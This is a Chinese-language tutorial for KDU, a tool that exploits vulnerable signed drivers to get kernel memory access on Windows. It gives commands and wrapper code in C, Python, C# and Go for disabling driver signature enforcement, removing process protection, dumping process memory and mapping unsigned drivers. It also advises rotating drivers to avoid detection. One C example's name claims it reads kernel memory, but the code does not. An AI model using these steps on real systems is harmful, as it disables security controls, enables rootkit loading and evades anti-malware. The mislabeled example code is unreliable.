目录

  1. 项目概述

  2. 系统要求

  3. 核心功能

  4. 工作原理详解

  5. 命令行使用教程

  6. 编程语言调用

  7. Provider详解

  8. Shellcode版本

  9. 安全注意事项

  10. 常见问题


项目概述

KDU (Kernel Driver Utility) 是一个强大的Windows内核探索工具,它利用已知存在的易受攻击驱动程序(或故意设计的"后门"驱动)来访问任意内核内存。

主要特性

  • Protected Process 劫持:通过修改进程对象降级保护级别

  • DSE (Driver Signature Enforcement) 覆盖:类似 DSEFix 功能

  • 驱动加载器:绕过驱动签名强制,类似 TDL/Stryker

  • 支持多种易受攻击驱动程序:作为功能"提供者"

项目结构

 KDU/
 ├── Source/
 │   ├── Hamakaze/     # 主程序 (kdu.exe)
 │   ├── Taigei/       # DLL驱动数据库 (drv64.dll)
 │   ├── Tanikaze/     # 独立驱动版本
 │   └── Examples/     # 示例代码
 ├── Help/             # 帮助截图
 └── README.md

系统要求

  • 操作系统:x64 Windows 7/8/8.1/10/11

  • 权限:需要管理员权限

  • 文件要求:kdu.exe 和 drv64.dll 必须在同一目录

  • HVCI:某些provider不支持HVCI环境


核心功能

1. 进程保护操作

命令

功能

-ps PID

移除指定进程的保护级别

-pse CMD

以 PPL-AntiMalware 级别启动程序

-psw CMD

以 PPL-WinTcb 级别启动程序(最高保护)

-pm PID

清除进程的 MitigationFlags1 和 2

-dmp PID

转储进程虚拟内存

2. DSE 操作

命令

功能

-dse value

修改系统 DSE 状态标志

3. 驱动映射

命令

功能

-map filename

将驱动映射到内核并执行入口点

4. 诊断与信息

命令

功能

-list

列出所有可用的 providers

-diag

运行系统诊断


工作原理详解

整体架构

 ┌─────────────────────────────────────────────────────────────┐
 │                         KDU.exe                              │
 ├─────────────────────────────────────────────────────────────┤
 │  1. Provider Layer (易受攻击驱动)                            │
 │     └── 提供内核内存读写原语                                 │
 │                                                              │
 │  2. Victim Layer (受害者驱动)                                │
 │     └── Process Explorer等合法签名的驱动                     │
 │                                                              │
 │  3. Shellcode Layer                                         │
 │     └── 在受害者驱动的IRP处理程序中执行的bootstrap代码        │
 │                                                              │
 │  4. Payload Layer                                           │
 │     └── 要加载的自定义驱动程序                               │
 └─────────────────────────────────────────────────────────────┘

核心数据结构

 // KDU上下文结构
 typedef struct _KDU_CONTEXT {
     ULONG HvciEnabled;              // HVCI是否启用
     ULONG NtBuildNumber;            // NT构建号
     ULONG ShellVersion;             // Shellcode版本
     ULONG EncryptKey;               // 加密密钥
 ​
     HINSTANCE ModuleBase;           // drv64.dll模块基址
     ULONG_PTR NtOsBase;             // ntoskrnl加载基址
 ​
     HANDLE DeviceHandle;            // Provider设备句柄
     PWSTR DriverFileName;           // 易受攻击驱动文件名
 ​
     PKDU_PROVIDER Provider;         // Provider信息
     PKDU_VICTIM_PROVIDER Victim;    // 受害者驱动信息
 } KDU_CONTEXT;
 ​
 // Provider回调函数
 typedef struct _KDU_PROVIDER {
     provReadKernelVM ReadKernelVM;         // 读内核虚拟内存
     provWriteKernelVM WriteKernelVM;       // 写内核虚拟内存
     provMapDriver MapDriver;               // 映射驱动
     provControlDSE ControlDSE;             // 控制DSE
     // ... 更多回调
 } KDU_PROVIDER;

Shellcode 执行流程

 1. Shellcode初始化阶段
    └── 定位 ntoskrnl.exe 基址
    └── 解析必要的内核函数地址
 ​
 2. 创建共享内存区域
    └── 包含加密的payload驱动
    └── 包含shellcode参数
 ​
 3. 修改受害者驱动
    └── 定位 IRP_MJ_DEVICE_CONTROL 处理程序
    └── 注入shellcode
 ​
 4. 执行Shellcode
    └── 受害者驱动接收IRP请求
    └── Shellcode执行,解密payload
    └── 重定位PE映像
    └── 创建系统线程执行DriverEntry

命令行使用教程

基本语法

 kdu [Provider] [Command] [Options]

1. 列出可用的Providers

 kdu -list

输出示例:

 Id  Vendor         Driver      Software
 0   Intel          IQVM64      Network Adapter Diagnostic Driver
 1   MSI            RTCore64    MSI Afterburner
 2   Gigabyte       Gdrv        Gigabyte TOOLS
 6   G.SKILL        EneIo64     G.SKILL Trident Z Lighting Control
 ...

2. 运行系统诊断

 kdu -diag

诊断内容:

  • Windows版本信息

  • CPU厂商信息

  • SecureBoot状态

  • HVCI状态

  • 测试模式/调试模式状态

  • WHQL强制状态

  • Microsoft驱动阻止列表状态

3. 移除进程保护

# 移除PID为1234的进程保护
kdu -ps 1234

# 使用特定provider
kdu -prv 1 -ps 1234

工作原理:

  1. 打开目标进程获取EPROCESS地址

  2. 根据Windows版本计算PsProtection偏移

  3. 读取当前保护级别

  4. 写入0来移除保护

PsProtection偏移表:

Windows 8.1 (9600)     -> 0x67A
Windows 10 10240       -> 0x6AA
Windows 10 10586       -> 0x6B2
Windows 10 14393       -> 0x6C2
Windows 10 15063+      -> 0x6CA
Windows 10 19041+      -> 0x87A
Windows 11 26100+      -> 0x5FA

4. 以PPL启动程序

# 以AntiMalware签名级别启动记事本
kdu -pse "C:\Windows\System32\notepad.exe C:\TEMP\words.txt"

# 以WinTcb签名级别启动cmd(最高保护)
kdu -psw "C:\Windows\System32\cmd.exe"

# 使用特定provider
kdu -prv 6 -pse "C:\Program\MyApp.exe"

保护级别说明:

PS_PROTECTED_SIGNER值:
- PsProtectedSignerNone (0)        : 无保护
- PsProtectedSignerAuthenticode (1): Authenticode签名
- PsProtectedSignerCodeGen (2)     : 代码生成
- PsProtectedSignerAntimalware (3) : 反恶意软件
- PsProtectedSignerLsa (4)         : LSA
- PsProtectedSignerWindows (5)     : Windows
- PsProtectedSignerWinTcb (6)      : Windows内核(最高)

PS_PROTECTED_TYPE值:
- PsProtectedTypeNone (0)          : 无保护
- PsProtectedTypeProtectedLight (1): 轻量级保护
- PsProtectedTypeProtected (2)     : 完全保护

5. 修改DSE状态

# 禁用DSE(允许加载未签名驱动)
kdu -dse 0

# 重新启用DSE
kdu -dse 6

# 使用特定provider
kdu -prv 1 -dse 0

DSE标志位:

#define CODEINTEGRITY_OPTION_TESTSIGN         0x1
#define CODEINTEGRITY_OPTION_DEBUGMODE_ENABLED 0x2
#define CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED 0x8
#define CODEINTEGRITY_OPTION_WHQL_ENFORCEMENT_ENABLED 0x20

6. 映射自定义驱动

# 基本用法(使用默认shellcode v1)
kdu -map C:\drivers\mydriver.sys

# 指定shellcode版本
kdu -scv 2 -map C:\drivers\mydriver.sys

# 使用shellcode v3(需要驱动对象名)
kdu -scv 3 -drvn MyDriver -map C:\drivers\mydriver.sys

# 完整示例:使用provider 6,shellcode v3,指定驱动名和注册表名
kdu -prv 6 -scv 3 -drvn TestDrv -drvr TestReg -map C:\drivers\test.sys

驱动限制:

  • 必须是"driverless"设计

  • 不支持SEH

  • 无法卸载(必须手动释放资源)

  • 仅解析ntoskrnl导入

7. 转储进程内存

kdu -dmp 1234

输出: vmem_pid_1234.dmp

8. 清除进程缓解标志

# 清除两个缓解标志
kdu -pm 1234

# 仅清除MitigationFlags1
kdu -pm1 1234

# 仅清除MitigationFlags2
kdu -pm2 1234

编程语言调用

C/C++ 调用示例

#include <windows.h>
#include <stdio.h>

// 定义KDU上下文和回调类型
typedef BOOL (WINAPI*provReadKernelVM)(
    HANDLE DeviceHandle,
    ULONG_PTR Address,
    PVOID Buffer,
    ULONG NumberOfBytes
);

typedef BOOL (WINAPI*provWriteKernelVM)(
    HANDLE DeviceHandle,
    ULONG_PTR Address,
    PVOID Buffer,
    ULONG NumberOfBytes
);

// 简化的KDU上下文
typedef struct _KDU_CONTEXT_SIMPLE {
    ULONG HvciEnabled;
    ULONG NtBuildNumber;
    HANDLE DeviceHandle;
    PVOID Provider;
} KDU_CONTEXT_SIMPLE;

// 示例:使用KDU读取内核内存
BOOL ReadKernelMemoryExample(ULONG_PTR address, PVOID buffer, SIZE_T size)
{
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    // 构建命令行
    char command[512];
    snprintf(command, sizeof(command),
        "kdu.exe -diag > output.txt");

    // 执行KDU命令
    if (!CreateProcess(NULL, command, NULL, NULL, FALSE,
        CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        printf("CreateProcess failed: %d\n", GetLastError());
        return FALSE;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return TRUE;
}

// 示例:移除进程保护
BOOL UnprotectProcess(DWORD pid)
{
    char command[256];
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    // 构建命令
    snprintf(command, sizeof(command), "kdu.exe -ps %lu", pid);

    // 执行
    if (!CreateProcess(NULL, command, NULL, NULL, FALSE,
        0, NULL, NULL, &si, &pi)) {
        return FALSE;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    DWORD exitCode;
    GetExitCodeProcess(pi.hProcess, &exitCode);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return exitCode == 1;
}

// 示例:映射驱动
BOOL MapDriver(const char* driverPath)
{
    char command[MAX_PATH];
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    snprintf(command, sizeof(command),
        "kdu.exe -map \"%s\"", driverPath);

    if (!CreateProcess(NULL, command, NULL, NULL, FALSE,
        0, NULL, NULL, &si, &pi)) {
        return FALSE;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    DWORD exitCode;
    GetExitCodeProcess(pi.hProcess, &exitCode);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return exitCode == 1;
}

int main()
{
    // 示例1:移除进程保护
    printf("Removing protection from PID 1234...\n");
    if (UnprotectProcess(1234)) {
        printf("Success!\n");
    } else {
        printf("Failed!\n");
    }

    // 示例2:映射驱动
    printf("Mapping driver...\n");
    if (MapDriver("C:\\drivers\\test.sys")) {
        printf("Driver mapped successfully!\n");
    }

    return 0;
}

Python 调用示例

import subprocess
import ctypes
from ctypes import wintypes

# 定义Windows API函数
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)

def run_kdu_command(command):
    """执行KDU命令并返回结果"""
    try:
        full_cmd = f"kdu.exe {command}"
        result = subprocess.run(
            full_cmd,
            shell=True,
            capture_output=True,
            text=True,
            timeout=30
        )
        return result.returncode == 0, result.stdout, result.stderr
    except subprocess.TimeoutExpired:
        return False, "", "Command timed out"
    except Exception as e:
        return False, "", str(e)

def list_providers():
    """列出所有可用的providers"""
    success, stdout, stderr = run_kdu_command("-list")
    if success:
        print("Available Providers:")
        print(stdout)
        return stdout.split('\n')
    return None

def run_diagnostic():
    """运行系统诊断"""
    success, stdout, stderr = run_kdu_command("-diag")
    return success, stdout

def unprotect_process(pid, provider_id=0):
    """移除进程保护

    Args:
        pid: 进程ID
        provider_id: Provider ID,默认为0
    """
    cmd = f"-prv {provider_id} -ps {pid}"
    success, stdout, stderr = run_kdu_command(cmd)
    return success, stdout

def run_as_ppl(command_line, highest=False, provider_id=0):
    """以PPL级别启动程序

    Args:
        command_line: 要执行的命令行
        highest: 是否使用最高保护级别(WinTcb)
        provider_id: Provider ID
    """
    if highest:
        cmd = f'-prv {provider_id} -psw "{command_line}"'
    else:
        cmd = f'-prv {provider_id} -pse "{command_line}"'

    success, stdout, stderr = run_kdu_command(cmd)
    return success, stdout

def disable_dse(provider_id=0):
    """禁用DSE(驱动签名强制)"""
    cmd = f"-prv {provider_id} -dse 0"
    success, stdout, stderr = run_kdu_command(cmd)
    return success, stdout

def enable_dse(provider_id=0):
    """启用DSE"""
    cmd = f"-prv {provider_id} -dse 6"
    success, stdout, stderr = run_kdu_command(cmd)
    return success, stdout

def map_driver(driver_path, shellcode_version=1,
               driver_name=None, registry_name=None, provider_id=0):
    """映射驱动到内核

    Args:
        driver_path: 驱动文件路径
        shellcode_version: Shellcode版本 (1-4)
        driver_name: 驱动对象名(v3需要)
        registry_name: 注册表键名(可选)
        provider_id: Provider ID
    """
    cmd = f"-prv {provider_id} -scv {shellcode_version}"

    if driver_name and shellcode_version == 3:
        cmd += f" -drvn {driver_name}"
        if registry_name:
            cmd += f" -drvr {registry_name}"

    cmd += f" -map \"{driver_path}\""

    success, stdout, stderr = run_kdu_command(cmd)
    return success, stdout

def dump_process_memory(pid, provider_id=0):
    """转储进程内存"""
    cmd = f"-prv {provider_id} -dmp {pid}"
    success, stdout, stderr = run_kdu_command(cmd)
    return success, stdout

def remove_mitigation_flags(pid, provider_id=0):
    """清除进程缓解标志"""
    cmd = f"-prv {provider_id} -pm {pid}"
    success, stdout, stderr = run_kdu_command(cmd)
    return success, stdout

# 使用示例
if __name__ == "__main__":
    print("=== KDU Python Wrapper 示例 ===\n")

    # 1. 列出providers
    print("1. 列出可用的Providers:")
    providers = list_providers()

    # 2. 运行诊断
    print("\n2. 运行系统诊断:")
    success, output = run_diagnostic()
    if success:
        print(output[:200] + "...")

    # 3. 移除进程保护
    print("\n3. 移除进程保护 (PID 1234):")
    success, output = unprotect_process(1234)
    print(f"结果: {'成功' if success else '失败'}")

    # 4. 以PPL启动记事本
    print("\n4. 以PPL-AntiMalware启动记事本:")
    success, output = run_as_ppl("notepad.exe")
    print(f"结果: {'成功' if success else '失败'}")

    # 5. 映射驱动
    print("\n5. 映射驱动:")
    success, output = map_driver(
        r"C:\drivers\test.sys",
        shellcode_version=1,
        provider_id=0
    )
    print(f"结果: {'成功' if success else '失败'}")
    if not success:
        print(f"错误: {output}")

C# 调用示例

using System;
using System.Diagnostics;
using System.IO;

public class KDUWrapper : IDisposable
{
    private readonly string _kduPath;
    private readonly string _workingDirectory;

    public KDUWrapper(string kduPath = "kdu.exe", string workingDirectory = null)
    {
        _kduPath = kduPath;
        _workingDirectory = workingDirectory ?? Path.GetDirectoryName(kduPath);
    }

    private (bool Success, string StdOut, string StdErr) RunCommand(string arguments, int timeoutMs = 30000)
    {
        try
        {
            var psi = new ProcessStartInfo
            {
                FileName = _kduPath,
                Arguments = arguments,
                UseShellExecute = false,
                RedirectStandardOutput = true,
                RedirectStandardError = true,
                CreateNoWindow = true,
                WorkingDirectory = _workingDirectory
            };

            using var process = Process.Start(psi);

            var stdout = process.StandardOutput.ReadToEnd();
            var stderr = process.StandardError.ReadToEnd();

            bool exited = process.WaitForExit(timeoutMs);

            if (!exited)
            {
                process.Kill();
                return (false, stdout, "Command timed out");
            }

            return (process.ExitCode == 1 || process.ExitCode == 0, stdout, stderr);
        }
        catch (Exception ex)
        {
            return (false, "", ex.Message);
        }
    }

    public bool ListProviders()
    {
        var result = RunCommand("-list");
        Console.WriteLine(result.StdOut);
        return result.Success;
    }

    public bool RunDiagnostic()
    {
        var result = RunCommand("-diag");
        Console.WriteLine(result.StdOut);
        return result.Success;
    }

    public bool UnprotectProcess(uint pid, uint providerId = 0)
    {
        var result = RunCommand($"-prv {providerId} -ps {pid}");
        return result.Success;
    }

    public bool RunAsPPL(string commandLine, bool highest = false, uint providerId = 0)
    {
        string switchName = highest ? "-psw" : "-pse";
        var result = RunCommand($"-prv {providerId} {switchName} \"{commandLine}\"");
        return result.Success;
    }

    public bool DisableDSE(uint providerId = 0)
    {
        var result = RunCommand($"-prv {providerId} -dse 0");
        return result.Success;
    }

    public bool EnableDSE(uint providerId = 0)
    {
        var result = RunCommand($"-prv {providerId} -dse 6");
        return result.Success;
    }

    public bool MapDriver(string driverPath, int shellcodeVersion = 1,
        string driverName = null, string registryName = null, uint providerId = 0)
    {
        string args = $"-prv {providerId} -scv {shellcodeVersion}";

        if (!string.IsNullOrEmpty(driverName) && shellcodeVersion == 3)
        {
            args += $" -drvn {driverName}";
            if (!string.IsNullOrEmpty(registryName))
            {
                args += $" -drvr {registryName}";
            }
        }

        args += $" -map \"{driverPath}\"";

        var result = RunCommand(args);
        return result.Success;
    }

    public bool DumpProcessMemory(uint pid, uint providerId = 0)
    {
        var result = RunCommand($"-prv {providerId} -dmp {pid}");
        return result.Success;
    }

    public void Dispose()
    {
        // 清理资源
    }
}

// 使用示例
class Program
{
    static void Main()
    {
        using var kdu = new KDUWrapper();

        Console.WriteLine("=== KDU C# Wrapper 示例 ===\n");

        // 列出providers
        Console.WriteLine("1. 列出Providers:");
        kdu.ListProviders();

        // 运行诊断
        Console.WriteLine("\n2. 系统诊断:");
        kdu.RunDiagnostic();

        // 移除进程保护
        Console.WriteLine("\n3. 移除进程保护:");
        bool success = kdu.UnprotectProcess(1234);
        Console.WriteLine($"结果: {(success ? "成功" : "失败")}");

        // 映射驱动
        Console.WriteLine("\n4. 映射驱动:");
        success = kdu.MapDriver(
            @"C:\drivers\test.sys",
            shellcodeVersion: 1,
            providerId: 0
        );
        Console.WriteLine($"结果: {(success ? "成功" : "失败")}");
    }
}

Go 调用示例

package main

import (
	"bytes"
	"fmt"
	"os/exec"
	"strings"
	"time"
)

type KDUClient struct {
	KDUPath  string
	WorkDir  string
	Timeout  time.Duration
}

func NewKDUClient(kduPath string) *KDUClient {
	return &KDUClient{
		KDUPath: kduPath,
		Timeout: 30 * time.Second,
	}
}

func (c *KDUClient) RunCommand(args string) (bool, string, string) {
	cmd := exec.Command(c.KDUPath, strings.Fields(args)...)

	var stdout, stderr bytes.Buffer
	cmd.Stdout = &stdout
	cmd.Stderr = &stderr

	if err := cmd.Start(); err != nil {
		return false, "", err.Error()
	}

	done := make(chan error, 1)
	go func() {
		done <- cmd.Wait()
	}()

	select {
	case <-time.After(c.Timeout):
		cmd.Process.Kill()
		return false, "", "Command timed out"
	case err := <-done:
		if err != nil {
			return false, stdout.String(), stderr.String()
		}
		return true, stdout.String(), stderr.String()
	}
}

func (c *KDUClient) ListProviders() (bool, string) {
	success, stdout, _ := c.RunCommand("-list")
	return success, stdout
}

func (c *KDUClient) RunDiagnostic() (bool, string) {
	success, stdout, _ := c.RunCommand("-diag")
	return success, stdout
}

func (c *KDUClient) UnprotectProcess(pid uint, providerId uint) (bool, string) {
	args := fmt.Sprintf("-prv %d -ps %d", providerId, pid)
	return c.RunCommand(args)
}

func (c *KDUClient) RunAsPPL(command string, highest bool, providerId uint) (bool, string) {
	var switchName string
	if highest {
		switchName = "-psw"
	} else {
		switchName = "-pse"
	}
	args := fmt.Sprintf("-prv %d %s \"%s\"", providerId, switchName, command)
	return c.RunCommand(args)
}

func (c *KDUClient) DisableDSE(providerId uint) (bool, string) {
	args := fmt.Sprintf("-prv %d -dse 0", providerId)
	return c.RunCommand(args)
}

func (c *KDUClient) EnableDSE(providerId uint) (bool, string) {
	args := fmt.Sprintf("-prv %d -dse 6", providerId)
	return c.RunCommand(args)
}

func (c *KDUClient) MapDriver(driverPath string, shellcodeVersion int,
	driverName string, registryName string, providerId uint) (bool, string) {

	args := fmt.Sprintf("-prv %d -scv %d", providerId, shellcodeVersion)

	if driverName != "" && shellcodeVersion == 3 {
		args += fmt.Sprintf(" -drvn %s", driverName)
		if registryName != "" {
			args += fmt.Sprintf(" -drvr %s", registryName)
		}
	}

	args += fmt.Sprintf(" -map \"%s\"", driverPath)
	return c.RunCommand(args)
}

func (c *KDUClient) DumpProcessMemory(pid uint, providerId uint) (bool, string) {
	args := fmt.Sprintf("-prv %d -dmp %d", providerId, pid)
	return c.RunCommand(args)
}

func main() {
	kdu := NewKDUClient("kdu.exe")

	fmt.Println("=== KDU Go Wrapper 示例 ===\n")

	// 列出providers
	fmt.Println("1. 列出Providers:")
	success, output := kdu.ListProviders()
	if success {
		fmt.Println(output)
	}

	// 运行诊断
	fmt.Println("\n2. 系统诊断:")
	success, output = kdu.RunDiagnostic()
	if success {
		fmt.Println(output[:200] + "...")
	}

	// 移除进程保护
	fmt.Println("\n3. 移除进程保护:")
	success, _ = kdu.UnprotectProcess(1234, 0)
	fmt.Printf("结果: %v\n", success)

	// 映射驱动
	fmt.Println("\n4. 映射驱动:")
	success, _ = kdu.MapDriver(
		"C:\\drivers\\test.sys",
		1,
		"",
		"",
		0,
	)
	fmt.Printf("结果: %v\n", success)
}

Provider详解

KDU使用"Provider"模式来抽象不同的易受攻击驱动程序。每个Provider提供基本的内核内存读写能力。

Provider接口

typedef struct _KDU_PROVIDER {
    PKDU_DB_ENTRY LoadData;  // 驱动数据库条目

    struct {
        // 必需回调
        provStartVulnerableDriver StartVulnerableDriver;
        provStopVulnerableDriver StopVulnerableDriver;
        provMapDriver MapDriver;

        // 可选回调
        provRegisterDriver RegisterDriver;
        provUnregisterDriver UnregisterDriver;
        provPreOpenDriver PreOpenDriver;
        provPostOpenDriver PostOpenDriver;
        provControlDSE ControlDSE;
        provReadKernelVM ReadKernelVM;
        provWriteKernelVM WriteKernelVM;
        provVirtualToPhysical VirtualToPhysical;
        provQueryPML4Value QueryPML4Value;
        provReadPhysicalMemory ReadPhysicalMemory;
        provWritePhysicalMemory WritePhysicalMemory;
        provValidatePrerequisites ValidatePrerequisites;
        provOpenProcess OpenProcess;
    } Callbacks;
} KDU_PROVIDER;

主要Provider类型

1. WinIo类型

使用WinIo 3.0系列驱动的Provider。这些驱动提供物理内存访问。

特点:

  • 物理内存读写

  • 虚拟到物理地址转换

  • 需要PML4基址

示例Provider:

  • ID 4: Patriot Viper RGB (MsIo64)

  • ID 5: ASRock Polychrome RGB (GLCKIO2)

  • ID 6: G.SKILL Trident Z (EneIo64)

2. WinRing0类型

使用WinRing0驱动的Provider。

特点:

  • 端口I/O访问

  • 物理内存访问

  • MSR读写

示例Provider:

  • ID 7: EVGA Precision X1 (WinRing0x64)

  • ID 42: SLIC ToolKit (PhyDMACC)

  • ID 53: Hardware read & write driver (HwRwDrv)

3. MAPMEM类型

使用内存映射驱动的Provider。

特点:

  • MmMapIoSpaceEx漏洞利用

  • 物理内存映射

示例Provider:

  • ID 2: Gigabyte TOOLS (Gdrv)

  • ID 24: CODESYS SysDrv3S

4. RWEverything类型

类似RWEverything的驱动。

示例Provider:

  • ID 28: ASRock Phantom Gaming (AsrDrv106)

  • ID 48-51: ASRock系列驱动

Provider选择建议

场景

推荐Provider ID

原因

通用用途

0 (Intel)

最稳定,广泛测试

MSI主板用户

1 (MSI)

RTCore64可靠

不需要物理内存

13 (ASUS)

AsIO2性能好

最新Windows

6 (G.SKILL)

较新驱动

避免检测

使用多个

轮换使用


Shellcode版本

KDU支持多种Shellcode版本,每种版本针对不同场景优化。

Shellcode V1

特点:

  • 使用PsCreateSystemThread创建系统线程

  • 在系统线程中执行DriverEntry

  • 最稳定,兼容性最好

适用场景:

  • 大多数常规驱动加载

  • 需要最佳兼容性时

Payload Header:

typedef struct _PAYLOAD_HEADER_V1 {
    ULONG ImageSize;
    IO_STATUS_BLOCK IoStatus;
    pfnPsCreateSystemThread PsCreateSystemThread;
    pfnZwClose ZwClose;
} PAYLOAD_HEADER_V1;

Shellcode V2

特点:

  • 使用ExQueueWorkItem在系统工作队列中执行

  • 无需创建线程

适用场景:

  • V1不可用的特殊情况

  • 需要在工作队列上下文执行

Payload Header:

typedef struct _PAYLOAD_HEADER_V2 {
    ULONG ImageSize;
    IO_STATUS_BLOCK IoStatus;
    pfnExQueueWorkItem ExQueueWorkItem;
} PAYLOAD_HEADER_V2;

Shellcode V3

特点:

  • 创建完整的DRIVER_OBJECT

  • 支持自定义驱动对象名和注册表路径

  • 最复杂但最灵活

适用场景:

  • 需要完整驱动对象功能

  • 需要特定驱动名称

使用要求:

kdu -scv 3 -drvn MyDriverName -map driver.sys

Payload Header:

typedef struct _PAYLOAD_HEADER_V3 {
    ULONG ImageSize;
    IO_STATUS_BLOCK IoStatus;
    PVOID IoDriverObjectType;
    pfnObCreateObject ObCreateObject;
    pfnObInsertObject ObInsertObject;
    pfnObMakeTemporaryObject ObMakeTemporaryObject;
    pfnZwMakeTemporaryObject ZwMakeTemporaryObject;
    pfnZwClose ZwClose;
    FIXED_UNICODE_STRING ObjectName;
    FIXED_UNICODE_STRING RegistryPath;
} PAYLOAD_HEADER_V3;

Shellcode V4

特点:

  • 预留版本

  • 未来功能扩展

Shellcode选择流程图

┌─────────────────────────────────────────┐
│         需要加载驱动?                    │
└─────────────────┬───────────────────────┘
                  │
                  ▼
        ┌─────────────────┐
        │ 需要完整驱动对象? │
        └────────┬────────┘
                 │
         ┌───────┴───────┐
         │Yes            │No
         ▼               ▼
    ┌─────────┐    ┌─────────┐
    │V3 +名字  │    │   V1    │
    └─────────┘    └─────────┘

安全注意事项

免责声明

本工具仅供教育和研究目的使用。使用本工具可能导致系统崩溃(BSOD)。作者不对任何损害负责。

风险因素

  1. 系统稳定性

    • 使用易受攻击的驱动可能导致蓝屏

    • 错误的操作可能破坏系统完整性

    • 建议在虚拟机中使用

  2. 安全软件检测

    • 杀毒软件可能标记为恶意软件

    • 反作弊系统会检测到相关行为

    • 使用风险自负

  3. PatchGuard

    • 某些操作可能触发PatchGuard检测

    • 延迟BSOD可能发生

    • 不建议在生产环境使用

  4. 法律问题

    • 仅应在授权环境中使用

    • 某些用途可能违反法律

    • 用户自行承担法律责任

最佳实践

# 1. 始终先运行诊断
kdu -diag

# 2. 在虚拟机中测试
# 3. 使用快照以便恢复
# 4. 从最低风险操作开始
# 5. 记录所有操作

常见问题

Q1: KDU需要管理员权限吗?

A: 是的,KDU需要管理员权限才能加载驱动和访问内核内存。

Q2: 支持哪些Windows版本?

A: 支持x64版本的Windows 7、8、8.1、10和11。不支持32位版本。

Q3: kdu.exe和drv64.dll必须在一起吗?

A: 是的,drv64.dll包含所有易受攻击驱动的数据库,必须与kdu.exe在同一目录。

Q4: 如何知道哪个Provider可用?

A: 运行kdu.exe -list查看所有可用的Providers和它们的状态。

Q5: Shellcode版本如何选择?

A:

  • V1: 默认选择,最稳定

  • V2: 当V1不工作时尝试

  • V3: 需要完整驱动对象时使用,必须指定驱动名

Q6: 为什么会出现BSOD?

A: 可能原因:

  • Provider驱动与系统不兼容

  • 操作触发了PatchGuard

  • 目标驱动有错误

  • HVCI阻止了操作

Q7: HVCI环境可以使用吗?

A: 某些Provider不支持HVCI。运行kdu -diag查看HVCI状态。

Q8: 如何恢复被修改的DSE设置?

A: 运行 kdu -dse 6 恢复默认DSE设置。

Q9: 映射的驱动如何卸载?

A: KDU映射的驱动无法自动卸载。驱动必须在DriverUnload中释放所有资源,并设置DriverUnload为NULL。

Q10: 可以加载任何驱动吗?

A: 不可以。驱动必须:

  • 专门设计为"driverless"

  • 不依赖DriverEntry参数

  • 不使用SEH

  • 仅依赖ntoskrnl导入

Q11: 错误代码含义

错误

含义

解决方案

ERROR_UNKNOWN_REVISION

不支持的Windows版本

检查系统版本

ERROR_PRIVILEGE_NOT_HELD

无管理员权限

以管理员身份运行

STATUS_OBJECT_NAME_COLLISION

已有实例运行

关闭其他实例

Q12: 编译问题

要求:

  • Visual Studio 2019或更高版本

  • Windows Driver Kit 10

  • Release模式(Debug模式某些功能不可用)


附录

A. 完整命令参考

kdu [选项]

选项:
  -list              列出可用的providers
  -diag              运行系统诊断
  -prv <id>          选择provider ID(默认:0)
  -ps <pid>          移除进程保护
  -pse <cmd>         以PPL-AntiMalware启动程序
  -psw <cmd>         以PPL-WinTcb启动程序
  -pm <pid>          清除进程缓解标志1和2
  -pm1 <pid>         清除进程缓解标志1
  -pm2 <pid>         清除进程缓解标志2
  -dmp <pid>         转储进程内存
  -dse <value>       修改DSE状态
  -map <file>        映射驱动
  -scv <version>     Shellcode版本(1-4,默认:1)
  -drvn <name>       驱动对象名(V3需要)
  -drvr <name>       驱动注册表键名(可选)

B. EPROCESS偏移参考

// PsProtection 偏移
#define PsProtectionOffset_9600    0x67A   // Windows 8.1
#define PsProtectionOffset_10240   0x6AA   // Windows 10 TH1
#define PsProtectionOffset_10586   0x6B2   // Windows 10 TH2
#define PsProtectionOffset_14393   0x6C2   // Windows 10 RS1
#define PsProtectionOffset_15063   0x6CA   // Windows 10 RS2-RS5
#define PsProtectionOffset_18362   0x6FA   // Windows 10 19H1/20H1
#define PsProtectionOffset_18363   0x6FA   // Windows 10 20H2/21H1/21H2
#define PsProtectionOffset_19041   0x87A   // Windows 10 20H2+
#define PsProtectionOffset_26100   0x5FA   // Windows 11 24H2+

// MitigationFlags 偏移
#define PsMitigationFlags1Offset_26100  0x750
#define PsMitigationFlags2Offset_26100  0x754

C. 参考资源

D. 示例驱动代码结构

// Driverless驱动模板
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    // 注意:这些参数在KDU映射时无效

    // 初始化代码
    // 不要使用RegistryPath

    // 设置DriverUnload为NULL
    DriverObject->DriverUnload = NULL;

    // 释放所有分配的资源
    // ...

    return STATUS_SUCCESS;
}